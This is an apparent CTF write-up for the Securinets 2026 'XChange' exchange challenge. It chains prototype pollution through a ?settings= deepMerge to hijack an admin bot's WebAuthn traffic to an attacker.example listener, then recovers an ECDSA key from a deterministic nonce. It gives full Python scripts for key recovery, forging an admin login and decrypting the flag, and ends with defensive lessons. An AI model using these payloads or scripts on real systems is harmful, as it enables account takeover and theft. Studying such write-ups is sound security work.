$ cat writeup.md…
$ cat writeup.md…
Securinets CTF Quals 2026
Task: XChange BTC exchange (Rust/axum + React + Playwright admin bot) with WebAuthn auth; mint funds via /api/admin/add_funds and read the flag. Solution: polluted Object.prototype.baseURL through the ?settings= deepMerge to hijack the admin bot, captured one assertion to recover the deterministically-nonced ECDSA key, then AES-ECB decrypted the flag.
Misdirection: Part 1 — XChange, a small BTC exchange: a Rust (axum) backend, a React frontend, a Node/Playwright admin bot, nginx and PostgreSQL, shipped as a
docker-composearchive. Authentication is WebAuthn/passkeys./api/admin/add_fundsmints funds for an admin, and/api/flagreturns the flag once the caller's balance is at least5,000,000.
English summary: we are given the full source of a small exchange and must reach the flag endpoint, which is gated behind a 5,000,000 balance and an is_admin check. The admin's passkey lives in the admin bot, so the intended chain is web (hijack the bot) plus crypto (abuse the bot's broken ECDSA nonce to forge or decrypt). The task name is a hint: the obvious crypto path is a decoy.
nginx (frontend + /api proxy)
├── React SPA (frontend/)
├── Rust axum API (backend/) -> Postgres
└── Node + Playwright bot (bot/) -- crawls reported URLs
Relevant endpoints:
| Endpoint | Notes |
|---|---|
| `POST /api/register_start | finish, POST /api/login_start |
POST /api/admin/add_funds | {amount: N} — requires is_admin |
GET /api/flag | returns the flag when balance >= 5_000_000 |
POST /report | runs the Playwright admin bot on a URL |
Two pieces of frontend code, read straight from the archive:
// frontend/src/App.tsx const raw = new URLSearchParams(window.location.search).get("settings"); if (raw) deepMerge({}, JSON.parse(raw)); // user JSON merged into an object
// frontend/src/lib/auth.tsx const getAuthUrl = () => (Object.prototype as any).baseURL || window.location.origin;
deepMerge recurses over keys and does not filter __proto__, constructor or prototype. A raw-string payload therefore reaches Object.prototype:
{"__proto__":{"baseURL":"https://attacker.example/"}}
After that, every call built with getAuthUrl() — the bot's register_start/finish and login_start/finish WebAuthn requests — is sent to the attacker instead of the real API. baseURL must be passed as a raw string (not URL-encoded) because the value is fed to JSON.parse before any decoding.
POST /report is the delivery mechanism. It requires the submitted URL to start with FRONTEND_URL, but then swaps FRONTEND_URL for the internal BOT_FRONTEND_URL before the bot navigates. So the payload URL is:
<FRONTEND_URL>/auth?settings={"__proto__":{"baseURL":"https://attacker.example/"}}
The bot loads it from its internal origin, the merge pollutes Object.prototype, and the bot's subsequent WebAuthn traffic goes to the attacker-controlled listener.
The author's hint recommends a free cloudflared quick tunnel so the listener is reachable from inside the challenge network, and the listener must answer with permissive CORS because the bot's page origin is the internal nginx while the bot forces credentials: 'include' on its fetches.
Key subtlety: the listener must proxy login_start/<bot> through to the real /login_start/admin, otherwise the bot would be asked to sign a fresh challenge for its own credential while the attacker holds the login flow. Forwarding the real /login_start/admin response means the challenge the bot signs is the admin challenge, and the allowCredentials[0].id is the admin credential id — exactly what we need.
bot/authenticator.js signs assertions like this:
keyPair.sign(msgHash, { k: () => ec.keyFromPrivate(rpIdHash, "hex").getPrivate(), });
The nonce k is not random and not secret: it is SHA-256(rpId) interpreted as an integer. msg is
SHA-256(authenticatorData || SHA-256(clientDataJSON)). With a single observed assertion (r, s) the
private key falls out directly:
$$d = (s \cdot k - z) \cdot r^{-1} \bmod n, \qquad k = \mathrm{int}\big(\mathrm{SHA256}(rpId)\big)$$
where z = SHA-256(authData || SHA-256(clientDataJSON)) as an integer, n is the P-256 group order, and — because Node's new BN(hash, "hex") reads the hash big-endian — k must be parsed big-endian too.
The recovered key's public key equals the admin passkey baked into the shipped DB migration, which confirms the recovery.
With the private key one forges a WebAuthn assertion for a freshly fetched login_start/admin challenge and posts it to login_finish, obtaining an admin session, then POST /api/admin/add_funds {"amount":5000000} and GET /api/flag. Assertion construction:
clientDataJSON = {"type":"webauthn.get","challenge":"<challenge from login_start/admin>","origin":"<FRONTEND_URL>","crossOrigin":false}authenticatorData = SHA-256(RP_ID) || flags(0x05 = UP|UV) || counter(UInt32BE)signature = ECDSA over SHA-256(authData || SHA-256(clientDataJSON)), DER-encodedwebauthn-rs rejects sign-counter reuseThe challenge name is the tell. The flag is handed over already AES-ECB encrypted under the admin private key, and the obvious key material is the wrong one:
AES.new(bytes.fromhex(priv_hex), AES.MODE_ECB) — raw bytes do not decrypt.AES.new(sha256(priv_hex.encode()).digest(), AES.MODE_ECB) — SHA-256 of the 64-character hex string of the private key.Ciphertext shipped with the task:
e2cd291adf58c0735c32090f7eb496356965f3f153c572442118ed25d7b540d02e4bd3198db36ace7c3294437db04efbe367338f3dcfaf4504e2c67da81e9b32
SHA-256(hex_string_of_private_key) and ECB-decrypt the ciphertext.Start the listener behind a tunnel (cloudflared tunnel --url http://localhost:8080), with CORS enabled and credentials allowed, then submit:
POST /report
{"url":"<FRONTEND_URL>/auth?settings={\"__proto__\":{\"baseURL\":\"https://attacker.example/\"}}"}
The listener forwards login_start/<bot> to the real /login_start/admin and logs the assertion the bot returns on login_finish.
#!/usr/bin/env python3 """Recover the admin WebAuthn / ECDSA private key from one assertion with k = SHA256(rpId).""" import json import base64 from hashlib import sha256 N = 0xFFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551 # P-256 order def b64url_decode(s: str) -> bytes: return base64.urlsafe_b64decode(s + "=" * (-len(s) % 4)) def recover_private_key(rp_id: str, authenticator_data: bytes, client_data_json: bytes, r: int, s: int) -> int: # msg = SHA256(authenticatorData || SHA256(clientDataJSON)) cdj_hash = sha256(client_data_json).digest() z = int.from_bytes(sha256(authenticator_data + cdj_hash).digest(), "big") # The authenticator uses a PUBLIC, deterministic nonce. # Node `new BN(hash, 'hex')` reads the digest big-endian. k = int.from_bytes(sha256(rp_id.encode()).digest(), "big") % N # Standard ECDSA key recovery for a known nonce: d = (s*k - z) / r (mod n) d = (s * k - z) * pow(r, -1, N) % N return d if __name__ == "__main__": # Values captured from the hijacked admin-bot login_finish response. rp_id = "xchange.example" # RP_ID from the compose/backend config auth_data = b"\x00" * 37 # sha256(rpId) || 0x05 || counter (see capture) cdj = json.dumps({ "type": "webauthn.get", "challenge": "<challenge from login_start/admin>", "origin": "<FRONTEND_URL>", "crossOrigin": False, }, separators=(",", ":")).encode() r = 0 # <- r from the captured assertion (base64url-decoded) s = 0 # <- s from the captured assertion d = recover_private_key(rp_id, auth_data, cdj, r, s) priv_hex = format(d, "064x") print("private key (hex):", priv_hex)
Sanity check: deriving the public point from d reproduces the admin credential public key in the
shipped migration, which proves the recovery.
#!/usr/bin/env python3 """Decrypt the shipped AES-256-ECB ciphertext. The trap: the key is the SHA-256 of the *hex string* of the private key, not of its raw bytes.""" from hashlib import sha256 from Crypto.Cipher import AES CT = bytes.fromhex( "e2cd291adf58c0735c32090f7eb496356965f3f153c572442118ed25d7b540d02e4bd3198db36ace7c3294437db04efbe367338f3dcfaf4504e2c67da81e9b32" ) priv_hex = open("privkey.hex").read().strip() # 64 lowercase hex chars key = sha256(priv_hex.encode()).digest() # <-- hex STRING, not bytes.fromhex(...) pt = AES.new(key, AES.MODE_ECB).decrypt(CT) print(pt.decode(errors="replace")) # Securinets{REDACTED}
This yields the flag in the format Securinets{...}.
#!/usr/bin/env python3 """Forge a WebAuthn assertion for login_start/admin using the recovered key.""" import json import base64 import requests from hashlib import sha256 from ecdsa import SigningKey, NIST256p from ecdsa.util import sigencode_der BASE = "http://<target>" # FRONTEND_URL RP_ID = b"xchange.example" # RP_ID configured in the backend def b64url(b: bytes) -> str: return base64.urlsafe_b64encode(b).rstrip(b"=").decode() d = int(open("privkey.hex").read().strip(), 16) sk = SigningKey.from_secret_exponent(d, curve=NIST256p) # 1. Fetch a fresh challenge for the ADMIN account, and its credential id. ls = requests.post(f"{BASE}/api/login_start/admin").json() # `ls` carries: publicKey.challenge (b64url) and publicKey.allowCredentials[0].id chal_b64 = ls["publicKey"]["challenge"] cred_id = ls["publicKey"]["allowCredentials"][0]["id"] # 2. Build the assertion with a counter strictly greater than the stored one. stored_counter = 0 # read from the capture / DB migration counter = stored_counter + 1 cdj = json.dumps({ "type": "webauthn.get", "challenge": chal_b64, "origin": BASE, "crossOrigin": False, }, separators=(",", ":")).encode() auth_data = (sha256(RP_ID).digest() + bytes([0x05]) # flags: UP | UV + counter.to_bytes(4, "big")) digest = sha256(auth_data + sha256(cdj).digest()).digest() signature = sk.sign_digest_deterministic(digest, hashfunc=sha256, sigencode=sigencode_der) body = { "id": cred_id, "rawId": cred_id, "type": "public-key", "response": { "clientDataJSON": b64url(cdj), "authenticatorData": b64url(auth_data), "signature": b64url(signature), "userHandle": None, }, "clientExtensionResults": {}, } # 3. Finish the login, mint funds, read the flag. sess = requests.Session() print(requests.post(f"{BASE}/api/login_finish/admin", json=body).text) print(requests.post(f"{BASE}/api/admin/add_funds", json={"amount": 5000000}).text) print(requests.get(f"{BASE}/api/flag").text) # Securinets{REDACTED}
Use this approach when you see:
deepMerge({}, JSON.parse(<user input>)) in a frontend — a prototype-pollution sink (__proto__ / constructor / prototype are not filtered).Object.prototype.something || window.location.origin./report endpoint that validates a URL against a public origin and then rewrites it to an internal bot origin — the bot inherits the polluted prototype.keyPair.sign(msgHash, { k: () => <public data> }) — a deterministic, attacker-known ECDSA nonce means one signature leaks the private key (d = (s*k - z) * r^-1 mod n).new BN(hash, "hex") — the digest is parsed big-endian; a little-endian parse silently produces the wrong k.__proto__, constructor and prototype, or use a Map / Object.create(null) and a schema validator.Object.prototype.k from public data (here SHA-256(rpId)) reveals the private key from a single signature.u32; a site that rejects counter reuse makes a credential unusable forever once a signer emits 0xFFFFFFFF (a one-shot brick) and makes cloned-authenticator detection brittle.$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar